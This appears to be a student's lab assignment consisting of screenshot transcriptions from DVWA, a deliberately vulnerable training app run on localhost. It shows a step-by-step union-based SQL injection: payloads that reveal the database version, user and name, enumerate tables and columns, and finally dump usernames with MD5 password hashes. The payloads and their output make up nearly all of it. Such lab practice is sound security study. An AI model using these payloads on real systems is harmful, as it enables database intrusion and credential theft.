

# DVWA COMMAND

The image displays two screenshots of the DVWA (Damn Vulnerable Web Application) interface, specifically the 'Vulnerability: SQL Injection' page. The browser address bar shows the URL: `127.0.0.1/dvwa/vulnerabilities/sqli/?id=%25%27+or+0%3D0+union+select+null%2Cversion%28%29%23&Submit=Submit#`.

**Top Screenshot:** The page shows the 'Vulnerability: SQL Injection' section. The 'User ID' field is empty, and the 'Submit' button is visible. The output area displays the following results:

```
ID: ' or 0=0 union select null,version()#  
First name: admin  
Surname: admin  
  
ID: ' or 0=0 union select null,version()#  
First name: Gordon  
Surname: Brown  
  
ID: ' or 0=0 union select null,version()#  
First name: Hack  
Surname: Me  
  
ID: ' or 0=0 union select null,version()#  
First name: Pablo  
Surname: Picasso  
  
ID: ' or 0=0 union select null,version()#  
First name: Bob  
Surname: Smith  
  
ID: ' or 0=0 union select null,version()#  
First name:  
Surname: 10.4.27-NariaDB
```

**Bottom Screenshot:** The page shows the same 'Vulnerability: SQL Injection' section. The 'User ID' field is empty, and the 'Submit' button is visible. The output area displays the following results:

```
ID: ' or 0=0 union select null,user()#  
First name: admin  
Surname: admin  
  
ID: ' or 0=0 union select null,user()#  
First name: Gordon  
Surname: Brown  
  
ID: ' or 0=0 union select null,user()#  
First name: Hack  
Surname: Me  
  
ID: ' or 0=0 union select null,user()#  
First name: Pablo  
Surname: Picasso  
  
ID: ' or 0=0 union select null,user()#  
First name: Bob  
Surname: Smith  
  
ID: ' or 0=0 union select null,user()#  
First name:  
Surname: root@localhost
```

Both screenshots show a sidebar with navigation links: Home, Instructions, Setup / Reset DB, Brute Force, Command Injection, CSRF, File Inclusion, File Upload, Insecure CAPTCHA, SQL Injection (selected), SQL Injection (Blind), Weak Session IDs, XSS (DOM), XSS (Reflected), XSS (Stored), CSP Bypass, JavaScript, Authorisation Bypass, Open HTTP Redirect, DVWA Security, PHP info, and About.

DVWA download | Source | localhost / 127.0.0.1 | php | Vulnerability: SQL Injection | bobby-tables.com: A guide | WhatsApp | Assignment No. 1

127.0.0.1/dvwa/vulnerabilities/sql/?id=%25%27+or+0%3D0+union+select+null%2Cdatabase%28%29%23&Submit=Submit#

## Vulnerability: SQL Injection

Home  
Instructions  
Setup / Reset DB

Brute Force  
Command Injection  
CSRF  
File Inclusion  
File Upload  
Insecure CAPTCHA  
**SQL Injection**  
SQL Injection (Blind)  
Weak Session IDs  
XSS (DOM)  
XSS (Reflected)  
XSS (Stored)  
CSP Bypass  
JavaScript  
Authorisation Bypass  
Open HTTP Redirect

DVWA Security  
PHP Info  
About

User ID:  Submit

```
ID: %' or 0=0 union select null,database()#  
First name: admin  
Surname: admin  
  
ID: %' or 0=0 union select null,database()#  
First name: Gordon  
Surname: Brown  
  
ID: %' or 0=0 union select null,database()#  
First name: Hack  
Surname: Me  
  
ID: %' or 0=0 union select null,database()#  
First name: Pablo  
Surname: Picasso  
  
ID: %' or 0=0 union select null,database()#  
First name: Bob  
Surname: Smith  
  
ID: %' or 0=0 union select null,database()#  
First name:  
Surname: dvwa
```

### More Information

- [https://en.wikipedia.org/wiki/SQL\\_injection](https://en.wikipedia.org/wiki/SQL_injection)
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- [https://owasp.org/www-community/attacks/SQL\\_injection](https://owasp.org/www-community/attacks/SQL_injection)
- <https://bobby-tables.com/>

DVWA download | Source | localhost / 127.0.0.1 | dvwa | Vulnerability: SQL Injection | bobby-tables.com: A guide | WhatsApp | Assignment No. 1

127.0.0.1/dvwa/vulnerabilities/sql/?id=%25%27+and+1%3D0+union+select+null%2Ctable\_name+from+information\_schema.tables&Submit=Submit#

## Vulnerability: SQL Injection

Home  
Instructions  
Setup / Reset DB

Brute Force  
Command Injection  
CSRF  
File Inclusion  
File Upload  
Insecure CAPTCHA  
**SQL Injection**  
SQL Injection (Blind)  
Weak Session IDs  
XSS (DOM)  
XSS (Reflected)  
XSS (Stored)  
CSP Bypass  
JavaScript  
Authorisation Bypass  
Open HTTP Redirect


DVWA Security  
PHP Info  
About

User ID:  Submit

```
ID: %' and 1=0 union select null,table_name from information_schema.tables#  
First name:  
Surname: ALL_PLUGINS  
  
ID: %' and 1=0 union select null,table_name from information_schema.tables#  
First name:  
Surname: APPLICABLE_ROLES  
  
ID: %' and 1=0 union select null,table_name from information_schema.tables#  
First name:  
Surname: CHARACTER_SETS  
  
ID: %' and 1=0 union select null,table_name from information_schema.tables#  
First name:  
Surname: CHECK_CONSTRAINTS  
  
ID: %' and 1=0 union select null,table_name from information_schema.tables#  
First name:  
Surname: COLLATIONS  
  
ID: %' and 1=0 union select null,table_name from information_schema.tables#  
First name:  
Surname: COLLATION_CHARACTER_SET_APPLICABILITY  
  
ID: %' and 1=0 union select null,table_name from information_schema.tables#  
First name:  
Surname: COLUMNS  
  
ID: %' and 1=0 union select null,table_name from information_schema.tables#  
First name:  
Surname: COLUMN_PRIVILEGES  
  
ID: %' and 1=0 union select null,table_name from information_schema.tables#  
First name:  
Surname: ENABLED_ROLES  
  
ID: %' and 1=0 union select null,table_name from information schema.tables#
```

DVWA download | Source | localhost / 127.0.0.1 / dvwa | Vulnerability: SQL Injection | bobby-tables.com: A guide | WhatsApp | Assignment No. 1

127.0.0.1/dvwa/vulnerabilities/sql/?id=%25%27+and+1%3D0+union+select+null%2Ctable\_name+from+information\_schema.tables+where+table\_name+like%27users%25%27%23&Submit=Submit#



## Vulnerability: SQL Injection

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

**SQL Injection**

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

Authorisation Bypass

Open HTTP Redirect

DVWA Security

PHP Info

About

User ID:  Submit


ID: %' and 1=0 union select null,table\_name from information\_schema.tables where table\_name like 'users%'#  
First name:  
Surname: users

### More Information

- [https://en.wikipedia.org/wiki/SQL\\_injection](https://en.wikipedia.org/wiki/SQL_injection)
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- [https://owasp.org/www-community/attacks/SQL\\_injection](https://owasp.org/www-community/attacks/SQL_injection)
- <https://bobby-tables.com/>

DVWA download | Source | localhost / 127.0.0.1 / dvwa | Vulnerability: SQL Injection | bobby-tables.com: A guide | WhatsApp | Assignment No. 1

127.0.0.1/dvwa/vulnerabilities/sql/?id=%27union+select+table\_name%2Ctable\_name+from+information\_schema.tables+where+table\_schema%3D%27dvwa%27%23&Submit=Submit#



## Vulnerability: SQL Injection

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

**SQL Injection**

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

Authorisation Bypass

Open HTTP Redirect

DVWA Security

PHP Info

About

User ID:  Submit

ID: 'union select table\_name,table\_name from information\_schema.tables where table\_schema='dvwa'#  
First name: guestbook  
Surname: guestbook  
ID: 'union select table\_name,table\_name from information\_schema.tables where table\_schema='dvwa'#  
First name: users  
Surname: users

### More Information

- [https://en.wikipedia.org/wiki/SQL\\_injection](https://en.wikipedia.org/wiki/SQL_injection)
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- [https://owasp.org/www-community/attacks/SQL\\_injection](https://owasp.org/www-community/attacks/SQL_injection)
- <https://bobby-tables.com/>

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

Authorisation Bypass

Open HTTP Redirect

DVWA Security

PHP Info

About

Vulnerability: SQL Injection

User ID:

Submit

ID: 'union select column\_name,column\_name from information\_schema.columns where table\_schema='dvwa'#

First name: comment\_id

Surname: comment\_id

ID: 'union select column\_name,column\_name from information\_schema.columns where table\_schema='dvwa'#

First name: comment

Surname: comment

ID: 'union select column\_name,column\_name from information\_schema.columns where table\_schema='dvwa'#

First name: name

Surname: name

ID: 'union select column\_name,column\_name from information\_schema.columns where table\_schema='dvwa'#

First name: user\_id

Surname: user\_id

ID: 'union select column\_name,column\_name from information\_schema.columns where table\_schema='dvwa'#

First name: first\_name

Surname: first\_name

ID: 'union select column\_name,column\_name from information\_schema.columns where table\_schema='dvwa'#

First name: last\_name

Surname: last\_name

ID: 'union select column\_name,column\_name from information\_schema.columns where table\_schema='dvwa'#

First name: user

Surname: user

ID: 'union select column\_name,column\_name from information\_schema.columns where table\_schema='dvwa'#

First name: password

Surname: password

ID: 'union select column\_name,column\_name from information\_schema.columns where table\_schema='dvwa'#

First name: avatar

Surname: avatar

ID: 'union select column\_name,column\_name from information\_schema.columns where table\_schema='dvwa'#

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

Authorisation Bypass

Open HTTP Redirect

DVWA Security

PHP Info

About

Vulnerability: SQL Injection

User ID:

Submit

ID: ' union select user, password from users#

First name: admin

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' union select user, password from users#

First name: gordonb

Surname: e99a18c428cb38d5f260853678922e03

ID: ' union select user, password from users#

First name: 1337

Surname: 8d3533d75ae2c3966d7e0d4fcc69210b

ID: ' union select user, password from users#

First name: pablo

Surname: 0d107d09f5bbe40cade3de5c71a9e0b7

ID: ' union select user, password from users#

First name: smithy

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More Information

- [https://en.wikipedia.org/wiki/SQL\\_injection](https://en.wikipedia.org/wiki/SQL_injection)
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- [https://owasp.org/www-community/attacks/SQL\\_injection](https://owasp.org/www-community/attacks/SQL_injection)
- <https://bobby-tables.com/>

127.0.0.1/dvwa/vulnerabilities/sql/?id=%27union+select+column\_name%2Ccolumn\_name+from+information\_schema.columns+where+table\_schema%3D%27dvwa%27&Submit=Submit#

127.0.0.1/dvwa/vulnerabilities/sql/?id=%27+union+select+user%2C+password+from+users%2&Submit=Submit#

Search

ENG IN

10:45

29-04-2024

Search

ENG IN

10:47

29-04-2024